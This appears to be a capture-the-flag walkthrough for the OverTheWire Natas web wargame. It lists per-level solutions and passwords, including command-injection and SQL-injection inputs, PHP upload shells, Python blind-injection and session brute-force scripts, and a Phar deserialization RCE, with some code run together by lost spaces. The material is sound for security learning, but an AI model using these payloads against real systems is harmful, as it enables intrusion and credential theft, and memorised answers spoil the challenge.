View source page and find that there's a folder /files/ on the web root. Inside this folder there's a file named as users.txt. Open it and find the password.
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
Natas 3
View source page and find that Not even Google will find it this time. It looks like that there's something to do with the search engines.
Try to open the /robots.txt and find that the website disallows the folder /s3cr3t/ to be crawled. Open the folder and find the password in the file user.txt.
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Natas 4
Referrer hijacking.
View this page using Referrer (or Referer) http://natas5.natas.labs.overthewire.org/ and find the password.
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Natas 5
Change cookie loggedin to 1, reload the page and find the password.
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Natas 6
View source page. Note that the file includes/secret.inc is included in the page. Open it and get the secret.
Input the secret and get the password.
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Natas 7
Path traversal.
This page doesn't validate the input page, and therefore is vulnerable to path traversal attack.
Remember that the introduction of Natas Wargame says All passwords are also stored in /etc/natas_webpass/ and named as /etc/natas_webpass/natasX. Thus, we can try to set the param page as /etc/natas_webpass/natas8 and find the password.
Note: Input /etc/natas_webpass/natas7 to find the password for this page itself. Other numbers would fail due to privilege limitation.
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Natas 8
View source page and find that bin2hex(strrev(base64_encode($secret)) produced 3d3d516343746d4d6d6c315669563362. Reverse these steps to get the secret.
In PHP, for example, execute echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362'))); to get the secret.
Input the secret and get the password.
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Natas 9
Command injection.
The $key is the point that could be replaced by our injection code.
Input ; cat /etc/natas_webpass/natas10; and get the password.
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Natas 10
Comparing to Natas 9, this challenge filters the key characters to command injection. However, we could take advantage of the grep command to print the password.
Note that the command line grep -i <word> <file 1> <file 2> ... <file n> will print every line in each file that contains the . Thus, we could compile such command and go through the 26 letters and their capitalized format to find a 'matched letter' to the password.
For this challenge, we could input c /etc/natas_webpass/natas11 and print the password out.
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Natas 11
View source page and find that the data stored in our cookie is "encrypted" by xoring with a censored string $key. The default original data is json encoded array array("showpassword"=>"no", "bgcolor"=>"#ffffff");.
Thus, we could xor the original string with the encrypted text to get the $key:
The result is ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK. Alter the data in cookie with this string and reload the page to get the password.
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Natas 12
View source page and find that the extension of the file uploaded is extracted from $_POST["filename"]. Thus, upon uploading a file, we can set the filename as any string ending with .php, and upload a php file.
In the php file, we can execute the following code: echo exec("cat /etc/natas_webpass/natas13");
After we upload the php file, we can open that page and get the password.
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Natas 13
View the source page and we can find that this challenge is an upgraded version of Natas 12. In this challenge, the EXIF image type is checked, so we need to add a header to our php file and make it look like a JPEG file.
Note: The JPEG header above contains four characters in HEX format.
Upload this php using the similar way in Natas 12 and get the password.
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Natas 14
Simple SQL injection.
Set either username or password as " or 1=1 -- and get the password.
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Natas 15
SQL injection.
View source page and find that the username is a SQL injection point. Noticed that the database only consists of username and password, we can brute force any password existing in the database one character at a time.
The following automated program is a DFS example that works for this challenge:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import commands
def search(password): if len(password) <= 32: words = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234568790" for c in words: newpassword = password + c sql = 'curl -u natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J http://natas15.natas.labs.overthewire.org/index.php\?debug\=aa\&username\=\\\"%20or%20binary%20password%20like%20\\\"' + newpassword + '%' return_code, output = commands.getstatusoutput(sql) if output.find('exists') > 0: print(newpassword) search(newpassword)
search('')
Side note: The username of this password is natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Natas 16
Get all characters except numbers: $(expr substr $(cat /etc/natas_webpass/natas17) 1 1) 1.Find the common letter in the result (numbers will get no result)
Get all numbers: a{$(($(expr substr $(cat /etc/natas_webpass/natas17) 1 1)-6))} 1.Try to modify "6" to make the result as "aa". The real number is 8 in this example
1.Modify "21" to be the index of the letter (1 to 32) 2.Modify "Englishing" to meet the following requirement: (1)it must be a single result (there is only one result by searching "Englishing") (2)it contains the letter (the 21st letter of the natas17 is G or g) 3.Modify "2" to be the previous letter of the target letter ("ngli" to G or g) 4.Try to modify "0" to "0" or "2" to make the result as "aa". Then judge if the letter is the right case for the target letter.
Final result: natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Note:
1 2 3
$(expr substr $(cat /etc/natas_webpass/natas17) 51) #get the 5th letter of the password a{$((1+1))} #used in grepasa regex, tofind the words containing (1+1) times of "a" => "aa" $(expr index"b""abc") #output the index of "b" in "abc" => 2
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Natas 17
MySQL Injection Code:
1
N0tAC0ntent" union select1,if ((selectpasswordfrom users where CHAR_LENGTH(password)=32limit0,1) likebinary"%",sleep(2),1) --
There're 4 passwords in table users with length 32 and they're all different (tested with "DISTINCT").
import httplib,datetime from base64 import b64encode from urllib import quote
defcheckPassword(password): httpClient = None try: sql='N0tAC0ntent" union select 1,if ((select password from users where CHAR_LENGTH(password)=32 limit 3,1) like binary "'+password+'%",sleep(0.5),1) -- '# change "3" from 0-3 to select which password to guess startDatetime = datetime.datetime.now() userAndPass = b64encode(b"natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw").decode("ascii") headers = { 'Authorization' : 'Basic %s' % userAndPass } httpClient = httplib.HTTPConnection('natas17.natas.labs.overthewire.org', 80, timeout=300) httpClient.request('GET', '/index.php?debug=a&username='+quote(sql), headers=headers) response = httpClient.getresponse() #print response.read() endDatetime = datetime.datetime.now() ifint((endDatetime-startDatetime).microseconds) >= 600000: # change "600000" to fit the current latency of network (over 500000 as 0.5s but not too high) returnTrue else: returnFalse except Exception, e: print e finally: if httpClient: httpClient.close()
defautocheck(currentpass): passbook="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" if checkPassword(currentpass): print currentpass iflen(currentpass)==32: print"Possible Result:"+currentpass return for item in passbook: autocheck(currentpass+item)
password="" autocheck(password)
0:0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd (not this one) 1:MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2 (not this one) 2:VOFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD (not this one) 3:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP (Real password)
import httplib,sys from base64 import b64encode from urllib import urlencode
defcheck(sessid): httpClient = None try: userAndPass = b64encode(b"natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs").decode("ascii") body=urlencode({'username' : 'admin' , 'password' : 'aaa' }) # username must be admin: it will affect how PHPSESSID is generated; password could be any string cookie = 'PHPSESSID='+str(sessid) headers = { 'Authorization' : 'Basic %s' % userAndPass , 'Content-Type': 'application/x-www-form-urlencoded' , 'Cookie' : cookie } httpClient = httplib.HTTPConnection('natas19.natas.labs.overthewire.org', 80, timeout=300) httpClient.request('POST', '/index.php?debug=a' ,body=body,headers=headers) response = httpClient.getresponse() responseData = response.read() #print responseData if'regular'in responseData: print'regular '+str(sessid) else: print responseData sys.exit() except Exception, e: print e finally: if httpClient: httpClient.close()
defautocheck(): for i inrange(0,1000): a = i/100 b = i/10-a*10 c = i%10 sessid='' ifnot a==0: sessid+='3'+str(a) ifnot b==0: sessid+='3'+str(b) ifnot c==0: sessid+='3'+str(c) sessid+='2d61646d696e' check(sessid)
autocheck()
The admin sessid is at 38392d61646d696e (089) Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Injection: "whatevername\nadmin 1" (web browser might not work!) Run the program for two times: first time executing mywrite to inject the session, second time executing myread to set admin to 1 Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
Then send this string as "drawing" in the Cookie. It would be unserialized by the server and regarded as a Logger. On destruct function (automatically executed), it will write a php to show the password file.
Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
Natas 27
Two solutions:
Keep inserting data with username "natas28" and a password, as the database is cleared in 5 minutes, the insertion would succeed by chance. Then query with the username and password to get the real password.
(Better way) Insert data with username ("natas28" + more than 64-7 times of space + "whatever"), and a password. Then query with "natas28" and the password. Then find the real password. (Source: http://r4stl1n.github.io/2014/12/30/OverTheWire-Natas25-28.html)
Password: JWwR438wkgTsNKBbcJoowyysdM82YjeF
Natas 28
Chosen-plaintext attack in AES-ECB mode and SQL injection
How toget a "' or 1=1 -- ": 1. query "aaaaaaaaaa"+"x or 1=1 -- bbbb"+"aa" (a,b and x can be any normal char) 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 2915fe89fae53f38df4c947acd65adde ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 2. query "aaaaaaaaa" +"' or 1=1 -- bbbb"+"aa" 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 11dbb80ae02425dc9726bffd1803160e 42094fd365d8e79ba6bbbe58b962416b ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 since ' is replaced to \', I removed one "a" in the left string to make the \ be in the same groupof the nine "a". The new message is Prefix[32] | Prefix[6] + "aaaaaaaaa" + "\" | "' or 1=1 -- bbbb" | "aa" + Suffix[30] (No padding because the last groupisfull) As a result, the encryption of "' or 1=1 -- bbbb" is42094fd365d8e79ba6bbbe58b962416b 3. place it as the fourth groupin the first query insteadof the previous one, base64 the result and send it
Let's move on:
1 2 3 4
1.try"' union select1 from users -- " ("aaaaaaaaa"+"' union select 1"+" from users -- b"+"bbbbbbbbbbbbbbbb"+"aa") return1, which means that the table "users"exists 2.try"' union select password from users -- " ("aaaaaaaaa"+"' union select p"+"assword from use"+"rs -- bbbbbbbbbb"+"aa") got the password!
def outputhex(str): i=0 newStr='' for c in str: i+=1 if i%32==0: newStr+=c+' ' else: newStr+=c print newStr print"<br/>"
def xorInside(str1,str2): first=str1.decode('hex') second=str2.decode('hex') newStr='' for i in range(0,16): newStr+= chr(ord(first[i])^ord(second[i])) return binascii.b2a_hex(newStr)
def autocheck(): a='' b='' for i in range(1,80): a+='a' b+='b' outputhex(check(a)) outputhex(check(b))
#sql="aaaaaaaaa"+"' or 1=1 -- bbbb"+"bbbbbbbbbbbbbbbb"+"bbbbbbbbbbbbbbbb"+"aa" #sql= "aaaaaaaaa"+"' union select 1"+" from users -- b"+"bbbbbbbbbbbbbbbb"+"aa" sql= "aaaaaaaaa"+"' union select p"+"assword from use"+"rs -- bbbbbbbbbb"+"aa"
As this and this said, the quote() takes list argument and parse the second item as an option parameter to indicate the type of first item. If the type is non-string, it will return the value of first without any quoting. With the help of CGI that passes two URL parameters as a list argument, we can put the injection string as the first parameter and 4 (to indicate the type as SQL_INTEGER as the second parameter. SQL DATA TYPE CODES
The [code] above should be something like code%20to%20execute%20|
For this challenge, first execute ls%20.%20| to find a binary getpassword in the same folder. Then execute ./getpassword%20| to get the password.
Additional thoughts: the file getpassword has perms -rwsrwx--- for user:group root:natas32, which means that the current user should be able to modify the executable and turn it into a privsec binary. However, I wasn't able to execute any commands to mess it up. Not sure where the limitation is.
Password: shoogeiGa2yee3de6Aex8uaXeech5eey
Natas 33
A shortcut
This is not the designed way to get the password
The page http://natas33.natas.labs.overthewire.org/index.pl has a hidden input filename, which allows the file to be uploaded to any path (with traversal), as long as the folder is writable. From the last challenge we got RCE on the server, and was able to find that there exists a folder /var/www/natas/natas33-new which is writable by the current user natas33. Thus, we can upload a PHP shell to this folder and get RCE, as follows.
From the source code, there is a md5_file() that directly takes the user input filename as its parameter. It is vulnerable to PHP Object Injection as described in What is Phar Deserialization.
In brief, the function md5_file() with parameter like 'phar://[phar_file].phar' will deserialize the object inside Metadata of phar and invoke the functions__destruct() and __wakeup() for target classes. Moreover, the variables in the classes can also be changed to arbitrary value. A list of vulnerable functions can be found here.
For this challenge, if we can craft a phar file, upload it to the server and send its path to the md5_file() function, we can trigger this bug and execute the __destruct() function under class Executor. In order to pass the if clause and get to the passthru() function, we need to rewrite the filename and signature varibles by injecting a PHP object of class Executor. The following PHP code generates the crafted phar file.
Save the file and calculate its MD5 digest (md5_file('shell.php') works). Put the hash into the signature variable and generate the test.phar.
Now we have two files in hand - shell.php and test.phar. We need to upload these two files to the server and remember where they are. A good way is to intercept the POST request and modify the form-data filename.
Suppose we have uploaded these two files with their initial names to the server, which will be put under /natas33/upload/. Now we need to trigger the md5_file() bug to inject PHP object, to run the __destruct() function which loads our special variables, to pass the if clause and get to the passthru() function:
From the HTTP response, we can see that the first __destruct() function fails to pass the if clause since it's the original object that the page created, but the second __destruct() function invoked by our injected object succeeds, which actually calculates if(md5_file('shell.php') == '[MD5 for shell.php]') which is absolutely true. Then the shell.php is passed to the passthru() function, and we get the RCE!
Password: shu5ouSu6eicielahhae0mohd4ui5uig
Natas 34
Displaying a placeholder page. For now this is the end.